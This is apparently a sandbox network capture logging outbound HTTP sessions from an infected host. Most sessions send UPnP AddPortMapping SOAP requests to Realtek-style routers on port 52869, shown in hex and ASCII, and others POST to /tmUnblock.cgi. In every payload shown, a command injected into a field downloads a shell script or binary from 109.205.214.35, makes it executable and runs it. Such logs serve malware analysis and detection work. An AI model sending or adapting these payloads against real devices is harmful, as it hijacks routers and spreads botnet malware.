Mar 21, 2024 05:18:19.406853914 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.23	40684	66.242.140.232	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:19.440973997 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:22.582932949 CET	536	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot
Mar 21, 2024 05:18:28.725049019 CET	536	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot
Mar 21, 2024 05:18:40.755206108 CET	536	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemot

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.23	41512	34.49.26.209	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:19.498279095 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.23	35018	172.65.182.39	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:19.912573099 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:20.474008083 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.23	39596	172.66.152.179	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:19.912631989 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:20.474009037 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.23	47350	172.67.179.28	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:19.912681103 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:20.474010944 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.23	45138	195.164.220.203	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:20.509131908 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:23.609097004 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix 